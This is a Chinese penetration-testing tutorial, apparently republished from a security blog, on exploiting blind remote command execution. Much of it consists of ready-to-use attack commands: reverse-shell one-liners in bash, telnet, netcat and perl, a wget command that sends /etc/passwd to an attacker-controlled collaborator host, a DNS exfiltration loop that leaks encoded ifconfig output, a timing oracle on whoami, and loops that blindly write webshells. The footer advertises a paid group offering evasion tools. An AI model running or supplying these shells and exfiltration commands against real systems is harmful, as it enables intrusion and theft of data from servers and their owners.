渗透测试之RCE无回显利用方式
2023-11-25 10:11:58 Author: 渗透安全团队(查看原文) 阅读量:9 收藏

前言

在测试的过程中,经常会遇到RCE漏洞没有回显的情况,这种不能直接在页面上看到命令执行的结果,本篇文章来看看遇到这种情况如何去利用。

由于本人水平有限,文章中可能会出现一些错误,欢迎各位大佬指正,感激不尽。如果有什么好的想法也欢迎交流~~

RCE无回显常见利用方式

  • 反弹shell

  • dnslog外带

  • http请求外带

  • 页面返回时间判断

  • 盲写webshell

反弹shell

无回显的命令执行,最常见的方式就是反弹shell。因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

关于反弹shell,不同的操作系统反弹方式也是不同的,总体来说linux上比较简单,而win上则稍微麻烦一点。

在linux下可以使用下面的命令进行反弹shell

Bash反弹:
Bash反弹,远程主机监听端口:
nc -lvp 7777
被入侵的机器反弹shell命令如下:
bash -i >& /dev/tcp/IP/7777 0>&1

telnet反弹:
远程主机监听端口:
nc -lvvp 4444
nc -lvvp 5555
被入侵的机器反弹shell命令如下:
telnet IP 4444 | /bin/bash | telnet IP 5555

nc(netcat)反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 4444 >/tmp/f

perl反弹:
远程主机监听端口:
nc -lvvp 4444
被入侵的机器反弹shell命令如下:
perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

win下的反弹shell可以看这篇文章:https://www.freebuf.com/articles/network/375572.html

http外带信息

可以使用wget或者curl命令去访问一个http服务,把要执行的命令隐藏在header头或者数据包的其它地方,在被访问的服务器中去查看该条日志。

如下:使用wget将命令回显信息通过包头数据字符串User-Agent传输至攻击服务器上,xargs echo代表去掉各个分隔符,换行符等符号输出

wget --header="User-Agent: $(cat /etc/passwd | xargs echo)" http://xxxx.burpcollaborator.net

此时就可以去查看web日志或者dnslog平台上的http请求记录,可以看到请求的数据包,数据包中就包含执行的命令。

DNSlog外带

有的服务器是不允许http协议访问外网的,但是一般不会对DNS协议做限制,可以使用DNSlog日志外带数据,缺点就是dnslog一般只能带出一条数据,需要对结果进行编码等操作。

dnslog就是我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断。

不同的操作系统对命令的解析方式不同

windows在命令上使用%     如 %variable%.dnslog.com    
linux上使用反引号 如 `variable`.dnslog.com

对命令进行编码

var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.402c35vpn9hpplp9ilj09pxx9ofe33.burpcollaborator.net; done

如下面的操作

在win上常用的系统变量如下,可以先外带这些环境变量然后再进一步进行利用

//变量                 类型       描述
//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
//%CD% 本地 返回当前目录字符串。
//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME% 系统 返回计算机的名称。
//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH% 系统 指定可执行文件的搜索路径。
//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION% 系统 返回处理器的版本号。
//%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
//%USERDOMAIN%

本地 返回包含用户帐户的域的名称。
//%USERNAME% 本地 返回当前登录的用户的名称。
//%USERPROFILE% 本地 返回当前用户的配置文件的位置。
//%WINDIR% 系统 返回操作系统目录的位置。

页面返回时间判断

无回显时还可以通过页面的返回时间来进行判断,一般我们在sql注入中经常见到这种方式,在RCE漏洞中也可以使用。

如下面的命令:

?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi

盲写webshell

如果上面的方式都不能用,我们也可以考虑盲写一个webshell。

我们知道webshell如果想要使用,就必须知道webshell的绝对路径,然后实际情况下我们往往不知道路径。那么此时要怎么去操作?

这里一个思路就是首先在系统中找到一个可以访问的静态资源,一般为图片,如flag.png,我们可以根据系统命令去查找这个文件所在的位置,然后将webshell写入到与此静态文件相同的目录中。

linux下盲写的命令

for i in `find /var -name "flag.png"`; do echo "text" >`realpath $i`flag.php; done

win下盲写命令

for /r C:\ %i in (flag.png) do @echo "test" > %i.php

如下图,可以往该目录下写入一个php文件

总结

除了上面的一些常见的方式以外,还有其它的如ICMP协议外带等等,一般最常用的就是dnslog外带以及反弹shell。

参考链接

https://cloud.tencent.com/developer/article/1956480

https://www.freebuf.com/articles/network/321428.html

来源: https://www.freebuf.com/articles/web/382776.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247512310&idx=2&sn=f4dc48358ab0edf521b80e57b4523766&chksm=c1764d59f601c44fee161cb1de8f8b5e25d309d60944aca542699ee1db8629c41f80d21b16f4&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh